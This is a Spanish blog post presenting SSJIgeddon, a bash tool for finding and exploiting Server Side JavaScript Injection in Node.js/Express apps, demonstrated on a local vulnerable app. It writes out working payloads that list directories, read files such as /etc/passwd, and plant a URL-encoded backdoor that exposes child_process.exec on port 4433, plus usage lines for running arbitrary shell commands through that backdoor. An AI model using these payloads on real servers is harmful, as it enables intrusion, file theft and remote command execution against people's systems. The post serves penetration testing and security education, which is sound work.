Aprovechando unos días de vacaciones que he empezado, he estado entretenido generando esta herramienta a la que he llamado SSJIgeddon y que busca facilitar de forma automatizada la identificación de vectores de inyección para posteriormente proporcionar elementos de explotación de esta interesante vulnerabilidad denominada Server Side JavaScript Injection (SSJI).

He generado SSJIgeddon en bash y básicamente le he añadido las siguientes capacidades:

Para ponerlo en practica y ver su funcionamiento he subido también al GitHub la siguiente aplicación web básica que emplea Express y Node.js:

URL: https://github.com/und3sc0n0c1d0/SSJIgeddon/blob/main/main.js

Para ponerlo en marcha desde tu distro de Linux de preferencia (Debian/Ubuntu/Parrot/Kali) tendrías que ejecutar la siguiente secuencia de comandos:

wget https://raw.githubusercontent.com/und3sc0n0c1d0/SSJIgeddon/main/main.js
sudo apt update
sudo apt install nodejs -y
sudo apt install npm -y
npm install express
nodejs main.js

Como resultado desde el navegador recibiríamos la siguiente vista:

No os preocupéis por el mensaje de «undefined«, es indicativo de que no hemos definido el parámetro que la aplicación web espera. En este caso lo he llamado «parameter» y se trata mediante GET:

Para poner en marcha la herramienta tendremos que indicar la URL del objetivo, junto a sus parámetros y como valor del parámetro a auditar tenemos que indicar SSJI, que será el indicador que empleará la herramienta para definir el payload a utilizar. Por último, con el operador check, perfilaremos la herramienta para validar si el parámetro auditado es o no vulnerable.

bash ssjigeddon.sh http://127.0.0.1:5000/?parameter=SSJI check

Bien, veamos a nivel de código, lo que sucede:

Básicamente aquí estoy empleando el payload base res.end("text"), en donde como texto emplearemos una cadena de caracteres bastante remota (poco habitual de ver) y que solo la encontraremos en la respuesta, cuando el parámetro sea vulnerable. Recordemos que con este payload reflejaremos en la respuesta de forma inequívoca el texto entrecomillado de la petición.

Otra función que he añadido es dir, el cual permite listar ficheros y directorios del objetivo. Para su funcionamiento basta con indicarle el operador dir y la ruta del directorio que queremos listar. A continuación un par de ejemplos:

bash ssjigeddon.sh http://127.0.0.1:5000/?parameter=SSJI dir .

bash ssjigeddon.sh http://127.0.0.1:5000/?parameter=SSJI dir /var

El payload del que me valgo para conseguir esta capacidad es:

res.send(require("fs").readdirSync("RUTA").toString())

El tratamiento que realizo para es prácticamente el mismo que en la anterior funcionalidad, solo que tomando en cuenta el resultado que se espera recibir, que en este caso y dado el formato con el que se recibe, se reemplaza la coma de separación de cada elemento por un salto de línea.

Como tercera función tenemos view y esta nos servirá para leer el contenido del fichero que le indiquemos leer, incluida su ruta absoluta como se muestra a continuación:

bash ssjigeddon.sh http://127.0.0.1:5000/?parameter=SSJI view main.js

bash ssjigeddon.sh http://127.0.0.1:5000/?parameter=SSJI view '/etc/passwd'

En este caso el payload empleado es:

res.end(require("fs").readFileSync("FICHERO"))

En este punto, hay que tener en cuenta que solo serán accesibles los ficheros cuyos permisos estén asignados al usuario con el que se inició la aplicación web, es decir, si se trata de un usuario limitado, solo tendremos acceso a ciertos ficheros del sistema, y si la aplicación web fue iniciada por un superusuario, es posible conseguir un mayor grado de profundidad.

Posteriormente y apoyado en un artículo bastante chulo que tuve la oportunidad de revisar, llamado «JSgen.py – bind and reverse shell JS code generator for SSJI in Node.js with filter bypass encodings«, del que podríamos hablar en otra ocasión, me surgió la idea de añadir un par de funcionalidades adicionales al script. Aunque es posible que estas funcionalidades no sean funcionales en todos los entornos. Ya veremos por qué.

Tenemos backdoor, que como su propio nombre indica, con esta conseguiremos establecer una puerta trasera en el objetivo. Para ello tendremos que ejecutar lo siguiente:

bash ssjigeddon.sh http://127.0.0.1:5000/?parameter=SSJI backdoor

En este caso se emplea el siguiente payload (que en este caso lo presentamos mediante codificación URL):

(function%20x()%7Brequire(%27http%27).createServer(function(req%2Cres)%7Bres.writeHead(200%2C%7B%22Content-Type%22%3A%22text%2Fplain%22%7D)%3Brequire(%27child_process%27).exec(require(%27url%27).parse(req.url%2Ctrue).query%5B%27cmd%27%5D%2Cfunction(e%2Cs%2Cst)%7Bres.end(s)%7D)%7D).listen(4433)%7D)()

En el código fuente se observa el payload que será inyectado y como paso previo a la explotación, realizamos una validación de la existencia de la backdoor, sobre todo para no intentarlo si ya contamos con este recurso disponible. Por tanto, solo en caso de que el servidor no cuente con una aplicación web en un puerto concreto (puerto TCP 4433), se inyectará en payload anterior.

Obviamente no sobremos lo que ocurre en el servidor objetivo hasta que consigamos el acceso, pero para que seamos consientes, a continuación veamos la lista de puertos asociados a este proceso base de nodejs:

Como se observa, después de ejecutar la funcionalidad de backdoor conseguiremos disponer de una aplicación web adicional en el puerto TCP 4433. Si requerimos llegar a esta aplicación, lo podemos invocar de la siguiente manera:

Como he dicho anteriormente, si la backdoor ya existe, la herramienta nos sugiere lo siguiente:

Por último contamos con la opción cmd, que apoyado en la anterior backdoor establecida, nos permitirá la capacidad de ejecutar comando en el objetivo. Para ponerlo en marcha, ejecutaremos lo siguiente:

bash ssjigeddon.sh http://127.0.0.1:5000/?parameter=SSJI cmd 'lsb_release -a'

bash ssjigeddon.sh http://127.0.0.1:5000/?parameter=SSJI cmd 'cat /etc/hostname'

En este caso, la herramienta se centra en el tratamiento y el manejo de la aplicación web adicional que hemos generado anteriormente y a través de la misma se consigue ejecutar comandos en el sistema.

Y nada, por último y esperando ser un poco más conciso, por aquí os dejo una demo que he grabado gracias asciinema:

Espero que le encontréis utilidad a la herramienta y os aporte.

Referencias